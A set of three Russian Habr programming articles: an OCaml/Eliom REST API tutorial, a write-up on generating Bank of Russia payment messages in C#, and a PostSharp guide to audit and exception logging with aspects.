Следующие браузерные расширения могут быть полезны для ручной проверки REST API:
* [RESTClient для Firefox](https://addons.mozilla.org/en-US/firefox/addon/restclient/)
* [Postman для Chrome](https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?hl=ru)
Типы данных
-----------
Начнем с определения наших типов баз данных, то есть того, как мы будем представлять наши местоположения и связанную с ними информацию. Каждое местоположение будет связано с уникальным и произвольным идентификатором, а так же будет содержать следующую информацию: описание и координаты (состоящие из широты и долготы).
Мы представляем координаты с десятичными градусами и используем библиотеку deriving-yojson для анализа и сериализации наших типов в JSON.
Мы используем выделенный тип ошибки, возвращаемый, когда что-то не так с запросом или с обработкой запроса.
Что касается базы данных, мы используем простую таблицу [Ocsipersist](https://ocsigen.org/ocsigenserver/2.8/api/Ocsipersist).
```
type coordinates = {
latitude : float;
longitude : float;
} deriving (Yojson)
type location = {
description : string option;
coordinates : coordinates;
} deriving (Yojson)
(* List of pairs (identifier * location) *)
type locations =
(string * location) list
deriving (Yojson)
type error = {
error_message : string;
} deriving (Yojson)
let db : location Ocsipersist.table =
Ocsipersist.open_table "locations"
```
Определение служб
-----------------
Во-первых, давайте определим общие параметры обслуживания:
* *path*(путь) API: одинаковый для всех служб.
* Параметр GET, который является необязательным идентификатором, указанным в качестве суффикса URL. Устанавливаем его как необязательный, чтобы мы могли отличать запросы GET для одного или всех ресурсов и возвращать подробную ошибку, если идентификатор отсутствует в запросах POST, PUT и DELETE. Альтернативой будет использование двух служб на одном пути (одна с id, а другая без).
```
let path = []
let get_params =
Eliom_parameter.(suffix (neopt (string "id")))
```
Следующий шаг — определить наши API службы. Мы определяем четыре из них с одним и тем же путем, используя четыре метода HTTP в нашем распоряжении:
* Метод GET будет использоваться для доступа к базе данных, для любого из ресурсов, если не указан идентификатор, или только для единственного ресурса. Если ресурс не будет соответствовать идентификатору, будет возвращена ошибка.
* Метод POST будет использоваться для создания нового ресурса (или его обновления, если он уже существует). Мы устанавливаем один параметр POST: Eliom\_parameter.raw\_post\_data, чтобы получить необработанный JSON и обойти блокировку параметров после декодирования.
* Метод PUT будет использоваться для обновления существующего ресурса. Если ресурс не будет соответствовать идентификатору, будет возвращена ошибка. Нам не нужно определять параметр POST, PUT-службы принимают значение Eliom\_parameter.raw\_post\_data как содержимое по умолчанию.
* Метод DELETE будет использоваться для удаления существующего ресурса. Если ресурс не будет соответствовать идентификатору, будет возвращена ошибка.
```
let read_service =
Eliom_service.Http.service
~path
~get_params
()
let create_service =
Eliom_service.Http.post_service
~fallback:read_service
~post_params:Eliom_parameter.raw_post_data
()
let update_service =
Eliom_service.Http.put_service
~path
~get_params
()
let delete_service =
Eliom_service.Http.delete_service
~path
~get_params
()
```
Обработчики
-----------
Давайте начнем определение обработчиков с помощью нескольких вспомогательных значений и функций, используемых обработчиками.
Поскольку мы используем функцию низкого уровня Eliom\_registration.String.send для отправки нашего ответа, мы переносим его на три специализированные функции: send\_json, send\_error и send\_success (эта отправляет только код состояния 200 OK без какого-либо содержимого).
Другая функция помогает нам проверить, что полученный тип содержимого является ожидаемым, сопоставляя его с MIME-типом. В нашем примере проверим, что мы получаем JSON.
Функция read\_raw\_content извлекает указанное или стандартное *length* количество символов из потока Ocsigen raw\_content.
```
let json_mime_type = "application/json"
let send_json ~code json =
Eliom_registration.String.send ~code (json, json_mime_type)
let send_error ~code error_message =
let json = Yojson.to_string { error\_message } in
send\_json ~code json
let send\_success () =
Eliom\_registration.String.send ~code:200 ("", "")
let check\_content\_type ~mime\_type content\_type =
match content\_type with
| Some ((type\_, subtype), \_)
when (type\_ ^ "/" ^ subtype) = mime\_type -> true
| \_ -> false
let read\_raw\_content ?(length = 4096) raw\_content =
let content\_stream = Ocsigen\_stream.get raw\_content in
Ocsigen\_stream.string\_of\_stream length content\_stream
```
Затем мы определяем наши обработчики для выполнения необходимых действий и возврата ответа.
Обработчики POST и PUT будут считывать содержимое исходного контента в JSON и использовать Yojson для преобразования его в наши типы.
В ответах мы используем коды состояния HTTP, с значениями:
* 200 (OK): запрос выполнен успешно.
* 400 (неверный запрос): что-то не так с запросом (отсутствующий параметр, ошибка синтаксического анализа ...).
* 404 (Не найдено): ресурс не соответствует предоставленному идентификатору.
Обработчик GET либо возвращает одно местоположение, если предоставлен идентификатор, иначе список всех существующих местоположений.
```
let read_handler id_opt () =
match id_opt with
| None ->
Ocsipersist.fold_step
(fun id loc acc -> Lwt.return ((id, loc) :: acc)) db []
>>= fun locations ->
let json = Yojson.to_string locations in
send\_json ~code:200 json
| Some id ->
catch (fun () ->
Ocsipersist.find db id >>= fun location ->
let json = Yojson.to\_string location in
send\_json ~code:200 json)
(function
| Not\_found ->
(\* [id] hasn't been found, return a "Not found" message \*)
send\_error ~code:404 ("Resource not found: " ^ id))
```
Затем давайте создадим общую функцию для обработчиков POST и PUT, которые имеют очень похожее поведение. Единственное различие заключается в том, что запрос PUT с несуществующим идентификатором будет возвращать ошибку(таким образом, он будет только принимать запросы на обновление и отклонять запросы на создание), тогда как тот же запрос с методом POST будет успешным (будет создано новое местоположение, связанное с идентификатором).
```
let edit_handler_aux ?(create = false) id_opt (content_type, raw_content_opt) =
if not (check_content_type ~mime_type:json_mime_type content_type) then
send_error ~code:400 "Content-type is wrong, it must be JSON"
else
match id_opt, raw_content_opt with
| None, _ ->
send_error ~code:400 "Location identifier is missing"
| _, None ->
send_error ~code:400 "Body content is missing"
| Some id, Some raw_content ->
read_raw_content raw_content >>= fun location_str ->
catch (fun () ->
(if create then
Lwt.return_unit
else
Ocsipersist.find db id >>= fun _ -> Lwt.return_unit)
>>= fun () ->
let location = Yojson.from_string location\_str in
Ocsipersist.add db id location >>= fun () ->
send\_success ())
(function
| Not\_found ->
send\_error ~code:404 ("Location not found: " ^ id)
| Deriving\_Yojson.Failed ->
send\_error ~code:400 "Provided JSON is not valid")
let create\_handler id\_opt content =
edit\_handler\_aux ~create:true id\_opt content
let update\_handler id\_opt content =
edit\_handler\_aux ~create:false id\_opt content
```
Для удаления местоположений нужен четвертый обработчик:
```
let delete_handler id_opt _ =
match id_opt with
| None ->
send_error ~code:400 "An id must be provided to delete a location"
| Some id ->
Ocsipersist.remove db id >>= fun () ->
send_success ()
```
Регистрация служб
-----------------
Наконец, мы регистрируем службы с помощью модуля Eliom\_registration.Any, чтобы иметь полный контроль над отправляемым ответом. Таким образом, мы сможем отправить соответствующий код статуса HTTP в зависимости от того, что происходит во время обработки запроса (ошибка синтаксического анализа, ресурс не найден ...), как это показано выше при определении обработчиков.
```
let () =
Eliom_registration.Any.register read_service read_handler;
Eliom_registration.Any.register create_service create_handler;
Eliom_registration.Any.register update_service update_handler;
Eliom_registration.Any.register delete_service delete_handler;
()
```
Полный исходник
---------------
**Всё что у нас получилось в итоге**
```
open Lwt
(**** Data types ****)
type coordinates = {
latitude : float;
longitude : float;
} deriving (Yojson)
type location = {
description : string option;
coordinates : coordinates;
} deriving (Yojson)
(* List of pairs (identifier * location) *)
type locations =
(string * location) list
deriving (Yojson)
type error = {
error_message : string;
} deriving (Yojson)
let db : location Ocsipersist.table =
Ocsipersist.open_table "locations"
(**** Services ****)
let path = []
let get_params =
Eliom_parameter.(suffix (neopt (string "id")))
let read_service =
Eliom_service.Http.service
~path
~get_params
()
let create_service =
Eliom_service.Http.post_service
~fallback:read_service
~post_params:Eliom_parameter.raw_post_data
()
let update_service =
Eliom_service.Http.put_service
~path
~get_params
()
let delete_service =
Eliom_service.Http.delete_service
~path
~get_params
()
(**** Handler helpers ****)
let json_mime_type = "application/json"
let send_json ~code json =
Eliom_registration.String.send ~code (json, json_mime_type)
let send_error ~code error_message =
let json = Yojson.to_string { error\_message } in
send\_json ~code json
let send\_success () =
Eliom\_registration.String.send ~code:200 ("", "")
let check\_content\_type ~mime\_type content\_type =
match content\_type with
| Some ((type\_, subtype), \_)
when (type\_ ^ "/" ^ subtype) = mime\_type -> true
| \_ -> false
let read\_raw\_content ?(length = 4096) raw\_content =
let content\_stream = Ocsigen\_stream.get raw\_content in
Ocsigen\_stream.string\_of\_stream length content\_stream
(\*\*\*\* Handlers \*\*\*\*)
let read\_handler id\_opt () =
match id\_opt with
| None ->
Ocsipersist.fold\_step
(fun id loc acc -> Lwt.return ((id, loc) :: acc)) db []
>>= fun locations ->
let json = Yojson.to\_string locations in
send\_json ~code:200 json
| Some id ->
catch (fun () ->
Ocsipersist.find db id >>= fun location ->
let json = Yojson.to\_string location in
send\_json ~code:200 json)
(function
| Not\_found ->
(\* [id] hasn't been found, return a "Not found" message \*)
send\_error ~code:404 ("Resource not found: " ^ id))
let edit\_handler\_aux ?(create = false) id\_opt (content\_type, raw\_content\_opt) =
if not (check\_content\_type ~mime\_type:json\_mime\_type content\_type) then
send\_error ~code:400 "Content-type is wrong, it must be JSON"
else
match id\_opt, raw\_content\_opt with
| None, \_ ->
send\_error ~code:400 "Location identifier is missing"
| \_, None ->
send\_error ~code:400 "Body content is missing"
| Some id, Some raw\_content ->
read\_raw\_content raw\_content >>= fun location\_str ->
catch (fun () ->
(if create then
Lwt.return\_unit
else
Ocsipersist.find db id >>= fun \_ -> Lwt.return\_unit)
>>= fun () ->
let location = Yojson.from\_string location\_str in
Ocsipersist.add db id location >>= fun () ->
send\_success ())
(function
| Not\_found ->
send\_error ~code:404 ("Location not found: " ^ id)
| Deriving\_Yojson.Failed ->
send\_error ~code:400 "Provided JSON is not valid")
let create\_handler id\_opt content =
edit\_handler\_aux ~create:true id\_opt content
let update\_handler id\_opt content =
edit\_handler\_aux ~create:false id\_opt content
let delete\_handler id\_opt \_ =
match id\_opt with
| None ->
send\_error ~code:400 "An id must be provided to delete a location"
| Some id ->
Ocsipersist.remove db id >>= fun () ->
send\_success ()
(\* Register services \*)
let () =
Eliom\_registration.Any.register read\_service read\_handler;
Eliom\_registration.Any.register create\_service create\_handler;
Eliom\_registration.Any.register update\_service update\_handler;
Eliom\_registration.Any.register delete\_service delete\_handler;
()
```
Источник: [RESTful JSON API using Eliom](https://ocsigen.org/tuto/4.0/manual/rest)
### От переводчика
Хотелось что бы сообщество OCaml было больше и росло, а сам язык развивался быстрее, язык хороший, а местами даже лучше мэйнстримовых языков, вот несколько его плюсов: он собирается в натив, синтаксис у него довольно лаконичен и понятен(не сразу, но как по мне он легче дается, чем Haskell, но вообще это вкусовщина), также довольно удобная система типов и хорошее ООП конечно. Если этот перевод кому-то пригодился или заставил взглянуть на OCaml и его экосистему, попробовать его, то я могу делать еще переводы или авторские статьи. **Об ошибках прошу сообщать в личку.**
**P.S.:**
Вводные статьи про OCaml и Ocsigen на Хабре, с которыми возможно стоит ознакомиться новичкам:
* [Введение в OCaml: The Basics [1]](https://habrahabr.ru/post/108529/)
* [Введение в OCaml: Структура программ на OCaml [2]](https://habrahabr.ru/post/108532/)
* [Введение в OCaml: Типы данных и сопоставление [3]](https://habrahabr.ru/post/108920/)
* [Введение в OCaml: Нулевые указатели, утверждения и предупреждения [4]](https://habrahabr.ru/post/118183/)
* [Динамические приложения с Ocsigen или Йоба возвращается](https://habrahabr.ru/post/129109/)
но конечно лучше ознакомиться с официальными мануалами, потому что статьям выше по 6-7 лет, какие-то основы из них извлечь конечно можно(а с учетом вялого развития языка вероятность извлечь базовые знания и не подорваться, стремится к 100%), но я не ручаюсь, что на данный момент там все правильно, особенно в статье про Oscigen. Всем добра и приятного пути в развитии. | https://habr.com/ru/post/336336/ | null | ru | null |
# Разработка модуля создания финансовых сообщений для АРМ КБР/ АРМ КБР-СПФС
Привет, Хабр!
Это моя первая небольшая статья про небольшую разработку финансовой программы, прошу строго не судить.
Поскольку не все государственные компании реализовали у себя обмен финансовыми сообщениями через систему передачи финансовых сообщений ЦБ РФ, то мне захотелось самому разобрать и создать небольшой рабочий прототип.
Система передачи финансовых сообщений Банка России (СПФС) — это альтернативный канал передачи электронных сообщений по финансовым операциям. СПФС гарантирует бесперебойность передачи финансовых сообщений внутри страны.
Подключение кредитных организаций и их клиентов — юридических лиц к СПФС происходит по мере их технической готовности и установления договорных отношений с Банком России. Процедурные аспекты определены отдельным нормативным актом Банка России.
Для разработки сетевой схемы взаимодействия необходимо руководствоваться следующими документами:
1. ЦБРФ.61209-049301«Руководством по обеспечению информационной безопасности»;
2. ЦБРФ.61209-049201 «Автоматизированное рабочее место клиента Банка России. Руководство пользователя»;
3. ЦБРФ.61209-049202 «Автоматизированное рабочее место клиента Банка России. Руководство администратора»;
4. ВАМБ.00106-019301 «СКАД «Сигнатура» версия 5. «Сигнатура-клиент» версия 5. Руководство администратора информационной безопасности».
Для отправки финансовых сообщений в контур СПФС существует программное обеспечение АРМ КБР/АРМ КБР-Н/ АРМ КБР СПФС.
АРМ КБР/ АРМ КБР СПФС – это специализированное программное обеспечение работников банков или крупных государственных организаций для подготовки и отправки финансовых сообщений в платежный контур центрального банка. Данное ПО позволяет проставлять электронную подпись на финансовые документы, проводить проверку и расшифровку электронных сообщений, поступивших из Банка России. В своей работе АРМ КБР/ АРМ КБР СПФС использует формат финансовых документов УФЭБС. Типы сообщений бывают как платежные сообщения, так и информационные (создание тестового сообщения, запрос технической информации и тд).
Для обработки электронное сообщение должно быть преобразовано в УФЭБС на АРМ КБР или преобразовано в АБС клиента и отправлено на АРМ КБР.
Электронные сообщения при работе в ручном режиме помещаются в каталог АРМ КБР c://uarm3/exg/cli. Встроенный компонент «Входной контроль» выполяет анализ поступившего ЭС. Если сообщение успешно прошло валидацию, то оно попадает во вкладку «введены», если сообщение не прошло валидацию, то оно попадает во вкладку «Забракованное». При работе в автоматическом режиме сообщение попадает в выходную папку.
В рамках разработки удалось реализовать следующий функционал:
1. создание финансовых сообщений в формате УФЭБС ED101;
2. создание финансовых сообщений в формате УФЭБС ED501;
3. создание финансовых сообщений в формате SWIFT MT101;
4. хранение финансовых сообщений в базе данных MS SQL;
5. выгрузка платёжных поручений в pdf формате;
6. обработка принятых входящих сообщений;
Для сохранения платёжных поручений необходимо разработать меню конфигурации (выбор сервера, базы данных, имя пользователя, пароль).
Глобальные настройки подключения к БД я установлю в файле app.config. Доступ к глобальным настройкам будет происходить через СonfigurationManager и вызов функции ReadSetting, обновление через функцию AddUpdateAppSettings.
Счётчик сообщений (ed501, ed101) в течение операционного дня (текущего дня) также будет задан через глобальные настройки:
```
add key="currentday" value="20200416"
add key="EDNo" value="2″
add key="MessageName» value="10836708462"
add key="MessageIDED501" value="2"
add key="MessageIDED501_full" value="10836708462_pain_MSG_20200416_00000002"
```
Если текущий операционной день поменялся, то происходит обнуление счётчика и первому ЭС присваивается номер 1.
Подключение к БД будет осуществлять по TCP соединению и 1433 порту. Для работы с MS SQL я буду использовать Microsoft SQL Server Management studio 2018.
Для отображения созданных и принятых электронных сообщений за текущий день/все дни необходимо создать экранную форму (DataGrid).
Форма 1 будет формироваться в классе Form1.cs. Для сохранения платёжного поручения в специализированный формат необходимо разработать глобальные настройки сохранения. Настройки сохранения будут формироваться в классе settings.cs.
Для создания платёжного поручения (форма 0401060 согласно Приложению 2 Положения Банка России от 19 июня 2012 года № 383-П «О правилах осуществления перевода денежных средств» (в редакции Указаний Банка России от 15.07.2013 № 3025-У, от 29.04.2014 № 3248-У, от 19.05.2015 № 3641-У, от 06.11.2015 N 3844-У, от 05.07.2017 N 4449-У и от 11.10.2018 N 4930-У)) необходимо разработать специальный пользовательский интерфейс и механизм автоматического формирования некоторых полей.
Пользовательский интерфейс формы №0401060 представлен ниже:
Данная форма является основным функционалом системы, после создания платёжного поручения его реквизиты можно передать в БД, сформировать PDF документ, отправить на печать, сохранить в соответствующий формат (ed101, ed501, MT101). Форма формируется в классе Form2.cs и используя класс pp.cs для создания нового экземпляра класса CreatePP, значения полей будет заполняться через модификатор доступа get и set. Для каждого поля ПП присвоен соответствующее название P1-P110 c модификатором доступа public и переменные p1-110 с модификатором доступа private.
Фрагмент кода приведён ниже:
```
private string p1;
private string p0;
private int p2;
private int p3;
private string p4;
private string p5;
public string P0
{
get { return p0; }
set { p0 = value; }
}
public int P20
{
get { return p20; }
set { p20 = value; }
}
public string Status
{
get { return status; }
set { status = «Новое»; }
}
public string P1
{
get { return p1; }
set { p1 = «Платежное поручение»; }
}
public string Date_pp()
{
DateTime dt = DateTime.Now;
string curDate = dt.ToShortDateString();
return curDate;
}
```
Если при сохранении были заполнены не все поля, то программа выделяет пустые поля красным цветом.
Фрагмент кода для проверки поля:
```
if (textBox10.Text == «»)
{
textBox10.BackColor = Color.Fuchsia;
}
```
После вызова функции «create\_pdf» будет формироваться pdf документ с заполненными полями
В функцию «create\_pdf» в качестве параметров будут передаваться значения полей, c помощью fields. SetField данные значения будут проставляться в PDF документ.
Фрагмент кода приведён ниже:
```
public string Pdf(string p0, string p4, string p6, string p60, string p102, int p7, string p8, string p9, string p10, string p11, string p12, int p101, string p13, string p14, string p15, string p17, string p18, string p61, string p103, string p16, int p21, string p24, string p5, string p22, string p104, string p105, string p106, string p107, string p108, string p109, string p110)
{ string pathsafe = settings.safepathpdf + p4 + «_» + p0 + «.pdf»;
string pathsafetemplatefont = settings.safepath + «\\Template\\Tahoma.ttf»;
BaseFont baseFont = BaseFont.CreateFont(pathsafetemplatefont, BaseFont.IDENTITY_H, BaseFont.NOT_EMBEDDED);
PdfReader template = new PdfReader(settings.safepathetemplate);
PdfStamper stamper = new PdfStamper(template, new FileStream(pathsafe, FileMode.Create));
AcroFields fields = stamper.AcroFields;
fields.AddSubstitutionFont(baseFont);
fields.SetField(«p4», p4);
fields.SetField(«p3», p0);
fields.SetField(«p6», p6);
```
Большинство полей автоматизированы и не требуют участие пользователя.
Автоматически формируется сумма пропью (согласно требованиям ЦБ), подтягивается банк плательщик, плательщик, получатель, банк получателя. По наименованию организации проставляется ИНН, КПП; по наименованию банка проставляется БИК, корреспондентский счёт.
Формируем документ ED101
Формируем документ ED501
Осуществляем отправку сформированного сообщения через АРМ КБР/ АРМ КБР СПФС в платёжный контур ЦБ РФ.
После отправки ЭС ED101/ED501 я получил ответную квитанцию от ЦБ РФ о следующем статусе:
```
xml version=»1.0″ encoding=»utf-8″?uic:452500055555uic:KBRGATEKBRGATE\_guid:786df05a239943f3bc9eca41a6fc430aguid:786df05a239943f3bc9eca41a6fc430a352019-08-06T07:46:04Z2019-08-06T07:46:04Z20000ЭС поступило в ТШ КБР:uic:777777700011. Информация о исходном сообщении: имя файла: ED997\_06104603.dat. Адресная информация исходного сообщения: логический адрес отправителя: uic:452500055555, логический адрес получателя: uic:777777700011. Время формирования квитанции: 2019-08-06 07:46:04
```
Поля имеют следующую расшифровку:
CorrelationMessageID – исходное сообщение, сформированное АРМ КБР;
ResultCode – код статуса (000 – успешно, 001 — неуспешно),
ResultText – сам статус ЭС (успешно поступило в ТШ, обработано, исполнено).
Ссылка на разработку <https://businessarchitecture.ru/test-spfs/>. | https://habr.com/ru/post/523318/ | null | ru | null |
# PostSharp. Решение задач логгирования и аудита
 И снова здравствуйте! В прошлый раз при обсуждении АОП, мы с вами говорили о решении задач кэширования. Сегодня мы поговорим о не менее часто встречающейся задаче – задаче логгирования и аудита. Нам часто приходится сталкиваться с такими ситуациями, как, например, анализ чужого кода. Представьте себе, что вам дали задачу интеграции с библиотекой стороннего производителя. Основной инструментарий чуть ли не каждого разработчика — .net reflector, ILSpy, dotPeek дают отличное представление о коде программы. О ее алгоритмах, структуре, возможных местах ошибок. И покрывают большой процент вопросов к программному продукту. Однако так происходит до тех пор, пока вы не начинаете ее активно использовать. Тут могут возникнуть как проблемы с производительностью, так и с непонятными «багами» внутри стороннего продукта, которые, если не иметь дизассемблера с функцией отладчика, не так-то просто найти. Или, например, вам необходимо просто следить за значениями переменных, не останавливая продукт в точках останова, real-time. Такие места часто необходимо срочно и быстро исправлять. А как при исправлении этого кода не написать программу, которая потом будет в топе сайта [govnokod.ru](http://govnokod.ru/)? О таких ситуациях мы сейчас и поговорим.
Логгирование и аудит – это те возможности, в которых [PostSharp](http://sharpcrafters.com) один из лучших. Это один из основополагающих примеров, показывающих принцип «cross-cutting». Ведь вместо того чтобы вкраплять код логгирования в каждое место, где это должно быть сделано, вы вводите логгирование только в одну точку, автоматически распространяя код на все необходимые методы. И, конечно, вы можете сделать это выборочно, на нескольких методах, полях или свойствах. Вы можете писать в лог много очень полезной информации, однако, за время существования фреймворка и практики работы с ним, я выделю следующие популярные категории:
* Информация об исполняемом коде: имя функции, имя класса, значения параметров, и проч. Это может вам сильно помочь в сокращении различных сценариев, которые могли привести к результату;
* Информация о производительности: вы можете узнать, какое время понадобилось на выполнение методов;
* Исключения: существует возможность перехватить исключение, сохранить информацию о нем в лог и перегенерировать это исключение чтобы не нарушать логику работу исходного приложения.
Помимо logging/tracing, которые, на самом деле, являются более техническими вопросами, можно также заниматься аудитом приложения, что очень похоже на logging/tracing, за исключением того что аудит – это отслеживание информации, носящей более «деловую» активность. Для примера, можно взять логгирование значений какого-либо параметра при поиске ошибки, или же вы или ваш менеджер хотите выяснить, как часто и как долго выполняются операции с депозитом. Всю информацию вы можете заносить в файл отчета или в таблицы вашей БД и выводить на корпоративном сайте в виде красивых графиков.
Давайте будем использовать некоторую программу кассира банка. И давайте предположим что это приложение может использовать счетчики купюр, а также написано с использованием WinForms. Также (в нашей очень наивной и упрощенной модели) пусть у банка есть только один клиент (например, президент), и пусть у нас только один статический класс, предоставляющий всю бизнес-логику.
> `public class BankAccount
>
> {
>
> static BankAccount()
>
> {
>
> Balance = 0;
>
> }
>
> public static decimal Balance { get; private set; }
>
>
>
> public static void Deposit(decimal amount)
>
> {
>
> Balance += amount;
>
> }
>
>
>
> public static void Withdrawl(decimal amount)
>
> {
>
> Balance -= amount;
>
> }
>
>
>
> public static void Credit(decimal amount)
>
> {
>
> Balance += amount;
>
> }
>
>
>
> public static void Fee(decimal amount)
>
> {
>
> Balance -= amount;
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Конечно же, в реальном приложении, вы будете использовать специализированный слой сервисов, dependency injection и прочие архитектурные решения вместо просто статического класса. И может быть, вы даже захотели бы использовать «ленивую загрузку» зависимостей, однако давайте отбросим все лишнее и сконцентрируемся на основном – логгировании и аудите.
Приложение работает великолепно все время, пока у компании есть честные служащие и заказчики. Однако, финансовый директор этого банка находится на стадии увольнения, т.к. миллионы долларов вдруг пропали без вести, и никто не может понять, почему. Она нанимает вас, скромного специалиста postsharp, чтобы с вашей помощью выяснить, в чем дело. Она хочет, чтобы вы изменили программу таким образом, чтобы вести учет всех операций и транзакций (да, учет есть, но она хочет сделать это на уровне методов программы, чтобы узнать реальное их количество, а не то что фигурирует в отчетах). Вы могли бы в такой ситуации, запастись терпением и ввести в каждый метод программы бизнес-логики (в нашем примере это будут всего 4 метода, однако в реальном приложении их могло бы оказаться несколько тысяч). Либо же, вы можете написать всего один метод, и применить его ко всем методам определенной группы классов или методов, сразу же, без монотонной обезьяньей работы. Мало того, расставляя код по всей программы, вы расставляете себе капканы, поскольку его надо будет потом удалять (либо делать дополнительные действия, чтобы его не было в release-сборке). И вторая причина неудобности такого подхода – вы можете наделать ошибок, пока его пишите. Давайте посмотрим на код, который мы напишем, используя [PostSharp](http://sharpcrafters.com):
> `[Serializable]
>
> public class TransactionAuditAttribute : OnMethodBoundaryAspect
>
> {
>
> private string \_methodName;
>
> private Type \_className;
>
> private int \_amountParameterIndex = -1;
>
>
>
> public override bool CompileTimeValidate(MethodBase method)
>
> {
>
> if(\_amountParameterIndex == -1)
>
> {
>
> Message.Write(SeverityType.Warning, "999",
>
> "TransactionAudit was unable to find an audit 'amount' in {0}.{1}",
>
> \_className, \_methodName);
>
> return false;
>
> }
>
> return true;
>
> }
>
>
>
> public override void CompileTimeInitialize(MethodBase method, AspectInfo aspectInfo)
>
> {
>
> \_methodName = method.Name;
>
> \_className = method.DeclaringType;
>
>
>
> var parameters = method.GetParameters();
>
> for(int i=0;i
> {
>
> if(parameters[i].Name == "amount")
>
> {
>
> \_amountParameterIndex = i;
>
> }
>
> }
>
> }
>
>
>
> public override void OnEntry(MethodExecutionArgs args)
>
> {
>
> if (\_amountParameterIndex != -1)
>
> {
>
> Logger.Write(\_className + "." + \_methodName + ", amount: "
>
> + args.Arguments[\_amountParameterIndex]);
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Напомню, что CompileTimeInitialize используется чтобы получить название методов и параметров во время компиляции, чтобы минимизировать количество использования рефлексии во время работы приложения (кстати, использование рефлексии можно вообще свести к нулю, используя build-time код) и чтобы удостовериться что существует параметр amount, за которым мы будем следить. Если мы его не находим, то оповещаем об этом разработчика при помощи warning’а.
Используя этот аспект и какое-либо хранилище для хранения собранных данных, вы сможете создавать для своего финансового директора некоторую аналитическую информацию.
Однако, пока идет расследование, вы начинаете понимать что с системой могут быть и другие проблемы: например, вы узнаете что интерфейс к пользователю работает не стабильно и приложение постоянно «падает». Для того чтобы узнать место падений, вы можете расставить try/catch в различные места программы (который может быть огромное множество), чтобы понять, какое конкретно место дает сбои. Или же вы можете написать один класс, после чего аудит исключений включится на всех методах интерфейса автоматически (да, вы можете легко ограничить область действия этого класса). Чтобы не быть голословным, давайте посмотрим простой пример:
> `[Serializable]
>
> public class ExceptionLoggerAttribute : OnExceptionAspect
>
> {
>
> private string \_methodName;
>
> private Type \_className;
>
>
>
> public override void CompileTimeInitialize(MethodBase method, AspectInfo aspectInfo)
>
> {
>
> \_methodName = method.Name;
>
> \_className = method.DeclaringType;
>
> }
>
>
>
> public override bool CompileTimeValidate(MethodBase method)
>
> {
>
> if(!typeof(Form).IsAssignableFrom(method.DeclaringType))
>
> {
>
> Message.Write(SeverityType.Error, "003",
>
> "ExceptionLogger can only be used on Form methods in {0}.{1}",
>
> method.DeclaringType.BaseType, method.Name);
>
> return false;
>
> }
>
> return true;
>
> }
>
>
>
> public override void OnException(MethodExecutionArgs args)
>
> {
>
> Logger.Write(\_className + "." + \_methodName + " - " + args.Exception);
>
> MessageBox.Show("There was an error!");
>
> args.FlowBehavior = FlowBehavior.Return;
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И, опять же, я использую CompileTimeInitialize только для того, чтобы уменьшить количество обращений к рефлексии. Чтобы применить этот аспект (для парочки функций) необходимо пометить соответствующие методы/классы/сборки/namespaces(в этом случае помечается сборка, дополнительно указывается фильтр по полному имени члена сборки) атрибутом:
Чтобы пометить класс, можно либо пометить сам класс, либо, пометить сборку, указав имя класса:
> `// in AssemblyInfo.cs
>
> [assembly: ExceptionLogger(AttributeTargetTypes = "LoggingAuditing.BankAccountManager")]
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
После того, как вы включили логгирование и провели аудит приложение, выяснились ужасные вещи:
* Клиенты могут снимать отрицательные суммы со свих счетов, и менее честные клиенты этим частенько пользуются!
* При вводе информации в формы интерфейса, люди постоянно делают опечатки, не проверяя ввод. Например, если кассир вводит «$ 5,19», это вызовет необработанное исключение и крах всего приложения!
С двумя очень простыми аспектами, вы сможете решить эти вопиющие недостатки приложения достаточно быстро, дающие бизнес пользователям аудит потока транзакций, и давая разработчикам в вашей команде логгировать и отслеживать исключительные ситуации в процессе отгрузки и работы у пользователя. Вы должны распознать, что жестко сломанное приложение на стадии установки конечному пользователю, на стадии работы у конечно пользователя, может создать огромное количество проблем. Особенно, с командой разработки. Однако, если вы используете аспекты, вы сможете их очень быстро диагностировать и исправить.
Теперь, давайте заглянем под капот и посмотрим какой код на самом деле генерируется. Не паникуйте, если не все еще понимаете. PostSharp очень прост в использовании и результаты его работы могут быть легко открыты в любом disassembler’е. Но давайте все равно посмотрим на результирующий код. Мы же хотим во всем разобраться.
Здесь представлен метод “Credit” без использования PostSharp. Как вы видите, он достаточно прост:
> `public static void Credit(decimal amount)
>
> {
>
> Balance += amount;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Далее, посмотрим на этот же метод, после применения аспекта TransactionAudit. Помните, что этот код будет находиться только в результирующей сборке (dll и exe файлы) и не будет находиться в ваших исходных текстах:
> `public static void Credit(decimal amount)
>
> {
>
> Arguments CS$0$0\_\_args = new Arguments();
>
> CS$0$0\_\_args.Arg0 = amount;
>
> MethodExecutionArgs CS$0$1\_\_aspectArgs = new MethodExecutionArgs(null, CS$0$0\_\_args);
>
> CS$0$1\_\_aspectArgs.Method = <>z\_\_Aspects.m11;
>
> <>z\_\_Aspects.a14.OnEntry(CS$0$1\_\_aspectArgs);
>
> if (CS$0$1\_\_aspectArgs.FlowBehavior != FlowBehavior.Return)
>
> {
>
> try
>
> {
>
> Balance += amount;
>
> <>z\_\_Aspects.a14.OnSuccess(CS$0$1\_\_aspectArgs);
>
> }
>
> catch (Exception CS$0$3\_\_exception)
>
> {
>
> CS$0$1\_\_aspectArgs.Exception = CS$0$3\_\_exception;
>
> <>z\_\_Aspects.a14.OnException(CS$0$1\_\_aspectArgs);
>
> CS$0$1\_\_aspectArgs.Exception = null;
>
> switch (CS$0$1\_\_aspectArgs.FlowBehavior)
>
> {
>
> case FlowBehavior.Continue:
>
> case FlowBehavior.Return:
>
> return;
>
> }
>
> throw;
>
> }
>
> finally
>
> {
>
> <>z\_\_Aspects.a14.OnExit(CS$0$1\_\_aspectArgs);
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И опять же: не паникуйте! :) Этот код может показаться сумбурным из-за использования автоматически генерируемых имен переменных, однако в реальности он очень простой. К оригинальному коду добавляется обертка из try/catch и вызывается код определенного аспекта. Как вы видите, здесь реально используется только переопределенный метод onEntry, в котором вы будете делать свои действия. Однако, переопределять можно и другие методы(onExit, onSuccess, onException), если бы вы решали какие-либо задачи, где их переопределение было бы необходимо.
